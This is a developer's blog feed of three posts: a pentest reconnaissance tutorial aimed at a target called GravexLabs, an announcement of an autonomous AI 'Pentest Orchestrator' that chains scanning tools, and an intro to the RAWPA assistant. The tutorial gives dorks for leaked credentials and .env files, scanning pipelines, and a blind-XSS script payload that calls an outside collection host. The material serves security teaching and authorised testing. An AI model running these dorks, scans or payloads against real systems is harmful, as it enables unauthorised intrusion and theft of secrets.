DEV Community: Glenn Rodney

A Deep Dive into a Real-World Recon Workflow

Glenn Rodney — Tue, 01 Jul 2025 22:16:43 +0000

So, you've landed the engagement. The scope is defined, the rules of engagement are set, and the target is locked: GravexLabs. You have the name, and that's it. This is the starting point for every offensive security operation, a blank canvas that, through skill and methodology, will be painted into a detailed map of attack surfaces, endpoints, and potential vulnerabilities.

This isn't just about running a few tools. It's a structured process, a symphony of techniques designed to peel back the layers of a target's digital presence. RAWPA is made for this process. While RAWPA is built to host and guide you through complete pentesting methodologies, today I want to give you something more concrete. I'm going to walk you through my personal, battle-tested reconnaissance workflow.

This process is so central to my work that I've even streamlined it into a framework called AAweRT - An Awesome Reconnaissance Tool (github.com/Kuwguap/aawert/)

which encapsulates the logic we're about to explore. Forget the "get bugs quick" fantasy; this is about building a foundation of deep intelligence for a successful, professional engagement.

Grab your terminal. Let's begin the hunt.

Phase 1: The OSINT Dragnet - Reconnaissance Without Touching

Before we send a single packet to GravexLabs' servers, we gather intelligence from the vast ocean of public information. This is Open-Source Intelligence (OSINT), and it’s the quietest and often most revealing phase.

1.1: Advanced Search Fu: Google and GitHub Dorking

Never, ever underestimate the power of a well-crafted search query.

Google Dorking: We use advanced operators to find what isn't meant to be found.
- site:gravexlabs.com - The basics, map out the intended public site.
- site:*.gravexlabs.com -www - Find all subdomains indexed by Google, excluding the main www site.
- inurl:gravexlabs filetype:log - Hunt for exposed log files.
- intext:"GravexLabs API Key" | intext:"GravexLabs password" - The long shots that sometimes pay off spectacularly.
GitHub Dorking: This is non-negotiable for any modern company. Developers make mistakes, and public repositories can be a goldmine of leaked secrets.
- "gravexlabs.com" password - Search for hardcoded passwords related to the domain.
- "gravexlabs.com" api_key - Hunt for API keys.
- "gravexlabs.com" filename:config.js - Look for configuration files.
- "gravexlabs.com" filename:.env - Search for leaked environment files, which often contain database credentials, secret keys, and more.

1.2: Mapping the Infrastructure: ASN, crt.sh, and Censys

Next, we map the physical and logical infrastructure.

ASN Lookup: We identify GravexLabs' Autonomous System Number (ASN) using whois on their domain's IP. This ASN is their unique identifier on the internet. With the ASN, we can query BGP data to find all IP ranges they own. This is our hunting ground.
Certificate Transparency (crt.sh): Every time an SSL/TLS certificate is issued, it's logged publicly. Searching crt.sh for %.gravexlabs.com gives us a historical and current list of subdomains. This often reveals internal, staging, or forgotten assets that are still live.
Censys.io: Think of Censys as a search engine for the devices and networks that make up the internet. We can search for GravexLabs' ASN or known IP ranges to get a bird's-eye view of their open ports and running services across their entire infrastructure, often identifying services without needing to scan them directly ourselves.

Phase 2: The Command Line Unleashed - A Live-Fire Methodology

With our passive intelligence gathered, it's time to get our hands dirty. The following is a highly effective, tool-driven workflow that forms the core of my AAweRT framework. It's designed for efficiency and depth, moving logically from broad discovery to specific vulnerability probing.

2.1: Mass Subdomain Discovery

Our OSINT work gave us a good starting list, but it's not exhaustive. We now use subfinder to actively and passively enumerate every possible subdomain.

subfinder -dL domains.txt -all -recursive -o subdomains.txt

subfinder -dL domains.txt: We feed it a file (domains.txt) containing our root domain (gravexlabs.com).
-all: This is crucial. It tells subfinder to use all its available passive sources (like crt.sh, Virustotal, etc.).
-recursive: If it finds dev.gravexlabs.com, it will then search for subdomains of that, like api.dev.gravexlabs.com. This is how you find deep, forgotten assets.
-o subdomains.txt: We save our massive list of findings for the next step.

2.2: Probing for Life

We have a list of hundreds, maybe thousands, of potential subdomains. Are they alive? Are they hosting web services? httpx-toolkit answers this with blistering speed.

cat subdomains.txt | httpx-toolkit -ports 443,80,8080,8000,8888 -threads 200 -o subdomains_alive.txt

cat subdomains.txt |: We pipe our list directly into httpx-toolkit.
-ports 443,80,8080,8000,8888: We focus on the most common HTTP/HTTPS ports. This is a strategic choice to balance speed and coverage.
-threads 200: We crank up the concurrency for speed. Adjust this based on your machine and network.
-o subdomains_alive.txt: The output is a clean list of live web servers, ready for deeper inspection.

2.3: Mapping the Digital Attack Surface with Katana

Now we know what's live. The next question is what's on it? katana, a web crawler on steroids, will spider these sites to find endpoints, JavaScript files, and other interesting paths.

katana -u subdomains_alive.txt -d 5 -pss waybackarchive,commoncrawl,alienvault -kf -jc -fx -ef woff,css,png,svg,jpg,woff2,jpeg,gif -o allurls.txt

-u subdomains_alive.txt: We feed it our list of live hosts.
-d 5: We set a crawl depth of 5 levels.
-pss waybackarchive,commoncrawl,alienvault: This is pure gold. It tells katana to not only crawl the live site but also pull historical URLs from passive sources like the Wayback Machine. This finds endpoints that may no longer be linked but still exist.
-kf: Also crawl for known files (e.g., .git-config, .env).
-jc: Parse JavaScript files for hidden paths and endpoints.
-fx -ef ...: We filter out uninteresting file extensions like fonts and images to keep our output clean and focused on actionable URLs.
-o allurls.txt: All discovered URLs are saved. This file is now our primary source for vulnerability hunting.

Phase 3: Analysis & Initial Vulnerability Scanning

With a huge list of URLs, we can begin our automated, targeted analysis.

3.1: The Hunt for Leaks and Secrets

The first quick win is to search our URL list for files that should never be public.

cat allurls.txt | grep -E "\.txt|\.log|\.cache|\.secret|\.db|\.backup|\.yml|\.json|\.gz|\.rar|\.zip|\.config"

This simple grep command filters our massive URL list for common sensitive file extensions. Finding a .log, .backup, or .config file can often lead to immediate information disclosure.

3.2: JavaScript Recon and Exposure Scanning

JavaScript files are a treasure map of application logic. We first isolate them and then run specialized scans.

cat allurls.txt | grep -E "\.js$" >> js.txt

cat js.txt | nuclei -t ~/nuclei-templates/http/exposures/ -c 30

First, we grep all URLs ending in .js into a dedicated file.
Then, we feed this list to nuclei, a powerful pattern-based scanner. We use the exposures templates, which are specifically designed to find things like API keys, secrets, and sensitive information accidentally hardcoded in JavaScript files.

3.3: Checking for Subdomain Takeover

A common misconfiguration is a DNS CNAME record pointing to a service (like an S3 bucket or a GitHub page) that has been de-provisioned. If we can re-register that service, we can take over the subdomain. subzy automates this check.

subzy run --targets subdomains.txt --concurrency 100 --hide_fails --verify_ssl

This tool quickly checks our full subdomain list for fingerprints of services vulnerable to takeover. A single finding here can lead to a critical vulnerability.

3.4: Probing for CORS Misconfigurations

Cross-Origin Resource Sharing (CORS) misconfigurations can allow a malicious website to make requests to the target application on behalf of a user. We attack this in two ways.

python3 corsy.py -i subdomains_alive.txt -t 10 --headers "User-Agent: Googlebot\nCookie: SESSION=Hacked"

nuclei -l subdomains_alive.txt -t ~/nuclei-templates/http/cors/ -c 30

corsy: This specialized tool sends probes with various Origin headers to test CORS policies. We add custom headers to mimic other scenarios.
nuclei: We then run Nuclei's dedicated CORS templates for a second, comprehensive check against known misconfigurations.

Phase 4: Active Probing for Common Vulnerabilities

This is a chained command for maximum efficiency.

4.1: XSS (Cross-Site Scripting)

subfinder -d gravexlabs.com | httpx-toolkit -silent | katana -ps -f qurl | gf xss | bxss -appendMode -payload '"><script src=[https://xss.report/c/kuwguap](https://xss.report/c/kuwguap)></script>' -parameters

Let's break it down:

subfinder | httpx-toolkit | katana: We find, validate, and crawl for URLs in one go.
| gf xss: We pipe the URLs to gf (grep-friend). Using its xss patterns, it filters for URLs that have parameters likely to be vulnerable to XSS (e.g., ?redirect=, ?q=, ?next=).
| bxss: This final pipe sends the highly-qualified URLs to bxss, which automates the testing by injecting our custom payload (which points to an XSS reporting service) into every parameter.

4.2: LFI (Local File Inclusion) & Open Redirects

We use a similar gf-powered methodology for other bug classes.

LFI

cat allurls.txt | gf lfi | nuclei -t ~/nuclei-templates/http/vulnerabilities/lfi/

Open Redirect

cat allurls.txt | gf redirect | openredirex -p payloads.txt

For LFI, we find potential patterns with gf and then use Nuclei's powerful LFI templates to attempt exploitation safely.

For Open Redirects, we find potential URLs with gf and then use openredirex with a list of crafted payloads to confirm the vulnerability.

4.3: CRLF Injection

CRLF injection can lead to response splitting and other attacks. Nuclei has excellent templates for this.

cat subdomains_alive.txt | nuclei -t ~/nuclei-templates/http/vulnerabilities/crlf-injection.yaml -v

We feed our live hosts directly to Nuclei and let its specialized template handle the complex injection tests.

4.4: Server-Specific Checks: IIS Short Filename

If we identify a Microsoft IIS server, we run a specialized check. The "short filename" vulnerability can allow an attacker to guess the names of hidden files and folders.

shortscan [https://iis.gravexlabs.com](https://iis.gravexlabs.com) -F

shortscan is the perfect tool for this, automating the entire guessing process.

The Culmination: From a Name to a Blueprint

Look at what we've accomplished. We started with a name, "GravexLabs," and now we have a blueprint for a full-scale offensive operation. We have a list of live assets, their technologies, mapped endpoints, and a prioritized list of potential vulnerabilities including information leaks, subdomain takeovers, CORS issues, XSS, LFI, and more.

This is the power of a structured, tool-assisted methodology. It's repeatable, scalable, and incredibly effective. This entire workflow, and many others, are what I've aimed to codify and simplify with my AAweRT framework. For those looking to explore even more complex, hierarchical methodologies for every stage of a penetration test, platforms like RAWPA are designed to provide that interactive guidance.

The hunt is complete. The real attack can now begin. Business Logic flaws, Authorization and Privilege Escalation Flaws, Workflow and State Manipulation Bypasses, Feature and Functionality Abuse and more.

My Pentesting AI Learned a New Word: Orchestrate.

Glenn Rodney — Tue, 01 Jul 2025 22:14:24 +0000

Hey everyone, Kuwguap here.

It’s been a minute(literally just a day or two lol) since we last talked about the journey with RAWPA. The feedback has been amazing, and watching the community engage with the tool has been the most rewarding part of this whole process. Gained 30 users and about 30% of them active daily. But a question has been nagging at me, keeping me up at night: How can I push this further? How can RAWPA help the cybersecurity community even more?

I kept coming back to one word: Orchestrate.

orchestrate - plan or coordinate the elements of (a situation) to produce a desired effect, especially surreptitiously.

That’s it. That’s the next step. It’s not enough for an AI to just suggest pathways; it needs to coordinate the elements. It needs to be an orchestrator. And from that idea, the next major feature for RAWPA was born: the Pentest Orchestrator.

Not My First Rodeo with Automation

Some of you might know about another tool I built called AAweRT (An Awesome Reconnaissance Tool). It’s a Bash-based framework I created to automate a ton of the initial information-gathering stages.

(For anyone interested, AAweRT is open-source on GitHub, and I'll be doing a deep-dive on it soon over at my personal blog, Rodney's Intuition).

AAweRT is great for automated recon, but what I’m building now is on a different level. The Pentest Orchestrator isn't just a sequence of scripts; it's a thinking, adaptive agent.

What Makes the RAWPA Orchestrator Different?

This isn't just AAweRT with a new coat of paint. The Orchestrator is a goal-oriented AI agent that builds upon RAWPA’s neural pathway foundation.

Here’s the breakdown:

Massive Toolchain: It leverages 19 integrated pentesting tools (and counting!) to conduct a deep and detailed analysis of a target. This isn't just subdomain enumeration; we're talking full-spectrum vulnerability scanning and analysis.
AI-Driven Strategy: This is the game-changer. After running its toolchain, the Orchestrator feeds the findings into its neural network. It cross-references the output with known CVEs, public writeups, and learned attack patterns to build the most effective initial approach to compromise the target. It doesn’t just give you data; it gives you a strategy.

The Current State: It Works… On My Machine

Now, for the classic developer reality check. The Pentest Orchestrator is fully functional and works flawlessly on my local development server. The AI generates its plan, executes the toolchain, analyzes the results, and presents a strategic pathway.

Output:

Starting multi-page scrape of: https://example.com

Scraping: https://example.com

Found 0 internal links

================================================================================

MULTI-PAGE ANALYSIS RESULTS FOR: https://example.com

Pages scraped: 1

================================================================================

Based on the analysis of the provided HTML content from the single scraped page (https://example.com), here is a comprehensive report:
---
Comprehensive Web Scraping & Security Analysis
==
1. COMPANY/SITE DESCRIPTION

--
This website does not represent a commercial company or provide any direct service or product. The content explicitly states its purpose:

�   Primary Purpose: The site is an "Example Domain" intended "for use in illustrative examples in documents."

�   Usage Guidance: It explicitly permits users to "use this domain in literature without prior coordination or asking for permission."

�   Information Source: It provides a link to https://www.iana.org/domains/example for "More information..." which points to the Internet Assigned Numbers Authority (IANA), confirming its role as a reserved domain for examples.

Conclusion: This domain serves purely as a placeholder or an informational page for educational and documentation purposes, as defined by IANA. It is not an active business or service provider.

2. TECHNOLOGY STACK

--
The technology stack for this page is extremely minimal and client-side focused:

�   Core Technologies:

    *   HTML5: Indicated by <!doctype html>.

    *   CSS3: Used for styling, all implemented via an inline <style> block within the <head> section.

�   Frameworks/Libraries: No discernible front-end frameworks (e.g., React, Angular, Vue, jQuery) or CSS frameworks (e.g., Bootstrap, Tailwind CSS) are detected.

�   Backend Technologies: No server-side technology can be inferred from the provided client-side HTML. It appears to be a static page.

�   Specific Libraries/Tools: None detected.

�   Possible Security or Business Flaws Visible in the Code:

    *   Inline CSS: While not a security flaw, embedding all CSS inline in the HTML (as seen with the <style> tag) is generally poor practice for larger, multi-page websites as it prevents browser caching of stylesheets and increases HTML file size. For a single, static example page, its impact is negligible.

    *   Given the page's static and illustrative nature, there are no obvious functional or business logic flaws visible from the client-side code.


3. SECURITY ANALYSIS & SENSITIVE DATA

--
The security posture of this specific page is very strong due to its minimalist and static nature.

�   Security-Relevant Details:

    *   No Forms or Authentication Mechanisms: The page contains no input fields, login forms, registration forms, or any other interactive elements that would typically handle user data or authentication.

    *   No API Endpoints: No fetch calls, XMLHttpRequest, or other JavaScript code that would interact with backend APIs are present.

    *   Meta Tags: Standard charset="utf-8", Content-type="text/html; charset=utf-8", and viewport meta tags are used.

    *   External Links: Only one external link is present, pointing to the official IANA website (https://www.iana.org/domains/example).

�   Potential Vulnerabilities or Misconfigurations:

    *   Client-Side Vulnerabilities: Due to the absence of JavaScript, user input fields, and dynamic content, common client-side vulnerabilities like Cross-Site Scripting (XSS) are highly unlikely to originate from this page's content itself.

    *   Server-Side Vulnerabilities: Cannot be assessed from the provided HTML. However, as it appears to be a static page, the attack surface for server-side vulnerabilities (e.g., SQL Injection, RCE) originating from web application logic is minimal.

    *   Misconfigurations: No obvious misconfigurations are visible in the HTML.

�   CRITICAL: Analysis of Hardcoded API Keys, Tokens, or Credentials:

    *   NONE FOUND. There are absolutely no hardcoded API keys, authentication tokens, usernames, passwords, email addresses, or any other credentials or sensitive strings present within the provided HTML content.

�   Assessment of Security Implications of Exposed Sensitive Data:

    *   None. Since no sensitive data, credentials, or personally identifiable information (PII) was found exposed within the HTML, there are no security implications stemming from sensitive data exposure on this page.


4. SITE STRUCTURE

--
�   Types of Pages Found: Only one page (main_page) was provided, which is a static informational page.

�   Content of Pages: The page contains a main heading, two paragraphs explaining its purpose as an example domain, and a single external link to the IANA website for more information.

�   How the Site is Organized: Based on the single page, the site organization is extremely simplistic, effectively a single, standalone static HTML file. There are no navigation menus, sitemaps, or complex inter-page relationships evident.


5. SENSITIVE DATA ASSESSMENT

--
�   Severity of any Exposed Credentials: N/A (Not Applicable). No credentials or sensitive API keys were found exposed within the HTML content.

�   Identify Potential Attack Vectors from Exposed Data: N/A. As no sensitive data was exposed, there are no attack vectors specifically related to exposed data from this page's content.

�   Recommend Security Improvements:

    *   For this specific page and its stated purpose, no critical security improvements related to sensitive data exposure are necessary, as it presents no such data.

    *   General Best Practices (if this were a larger, dynamic website):

        *   Separate CSS: For scalability and maintainability, move inline CSS into external .css files.

        *   Content Security Policy (CSP): Implement a robust CSP header to mitigate potential injection attacks (though less relevant for a static page without scripts).

        *   HTTPS Enforcement: While the URL shows https, ensuring strict HTTPS enforcement (e.g., HTTP Strict Transport Security - HSTS) would be crucial for any production site to prevent downgrade attacks.

        *   Server-Side Security: For any actual web application, comprehensive server-side security measures (input validation, secure session management, secure database practices, regular patching) would be paramount.
---
================================================================================
END OF ANALYSIS
================================================================================

The big hurdle right now is infrastructure. RAWPA is currently hosted on Vercel, which is fantastic for serverless applications. However, the Orchestrator needs a persistent Node.js/Express server to manage the long-running tool executions and stateful sessions. That means I need to migrate the backend to a cloud service like Digital Ocean or something similar.

So, while the feature is built, it’s not yet live. Once I conquer the infrastructure challenge, the Pentest Orchestrator will be fully available to all RAWPA users.

How It Works: A Glimpse Under the Hood

For those who love the technical details, here’s the workflow:

Input: You give the Orchestrator a target (like example.com) and a goal (like "Find vulnerabilities leading to RCE").
Planning: The AI generates a dynamic, multi-phase plan, starting with reconnaissance and moving through vulnerability assessment.
Execution: It autonomously runs tools like subfinder, httpx, and nuclei in sequence. The output of one tool becomes the input for the next.
Analysis & Adaptation: Here’s the magic. After each step, the AI analyzes the results. If it finds a login panel, it might dynamically decide to prioritize deeper testing there. If it finds a critical CVE, it adjusts its strategy to focus on that vector.
Reporting: Finally, it compiles the findings, vulnerabilities, and evidence into a comprehensive report.

This new feature represents the next evolution of RAWPA—moving from a knowledgeable assistant to an active, intelligent partner in your security assessments.

As always, RAWPA is built for and by the community. If you have ideas, methodologies, or want to contribute, hit up the "Contribute" feature on the RAWPA site or connect with me on LinkedIn.

The journey continues, and I can't wait to get the Orchestrator into your hands. Stay tuned.

I'm Building a "Copilot for Hackers", But I'm Forcing it to Be Dumb

Glenn Rodney — Thu, 19 Jun 2025 15:27:08 +0000

Hey everyone! 👋

If you're a developer or a security researcher, you know the feeling. You're hours into a problem, you've run through all your checklists, and you hit a wall. You lean back and have that all-too-familiar thought: "So, what now?"

For the past few months, I've been building a project called RAWPA (Rodney the Advanced Web Pentesting Assistant) to be the answer to that exact question. But before I show you what it is, I need to tell you what it isn't.

I need to state this with utmost importance: RAWPA is not a "get bugs quick scheme."

I strongly encourage the manual process of scouring through JS files, searching for business logic errors, finding exposed endpoints, and getting creative in Burp Suite. RAWPA is not an automation script to replace those skills. It's a companion to provide more ideas when your own list runs out.

The Shiny AI Feature (And Why I Benched It)

Naturally, I wanted to build a slick, AI-powered assistant. I dove in headfirst, building a RAG (Retrieval-Augmented Generation) model to act as a "Copilot" for each testing step. The initial results were amazing! The AI was parsing commands and providing genuinely helpful guidance. It felt like magic. ✨

But as I tried to make it more precise, the magic started to fade. The responses got noisy, the code started breaking, and I realized I was spending all my time debugging the AI instead of building the core of the app.

So I made a tough call: I put the entire feature on hold.

I built an admin panel for the project (a huge win in itself!) and added a simple toggle to turn the AI off. It felt like benching my star player, but it was the right strategic move. Perfecting that AI is a whole project on its own, and the core methodologies had to come first.

So, What Am I Doing Now? The Grind.

Right now, I'm in the deep-dive research phase. This is the less glamorous part of development that doesn't always make it into blog posts. I'm spending my days (and nights) scouring the web, watching technical talks, and digging through research papers to find, test, and validate every single methodology that goes into RAWPA.

This process was validated when I stumbled upon lostsec's site, which has a similar purpose. Instead of feeling discouraged, it gave me the will to continue, proving there's a real need for tools that augment, rather than automate, our thinking.

This project also thrives on community knowledge. A connection from LinkedIn gave me a fantastic list of future feature ideas, like gamification, tool integrations, and collaborative modes, which have really shaped the long-term vision.

What's Next & How You Can Help

My goal is to make RAWPA a reliable, community-informed resource.

You can follow the nitty-gritty details of the development journey on my personal blog here: https://kuwguap.github.io/posts/series-2-implementing-wpa-in-rawpa-part-1/
This is a community-driven effort. If you have methodologies, ideas, or suggestions, I would love to hear them. The best way to reach out is on LinkedIn At the end of the day, I believe RAWPA will help someone get unstuck and learn something new. And for me, that's good enough.

Thanks for reading!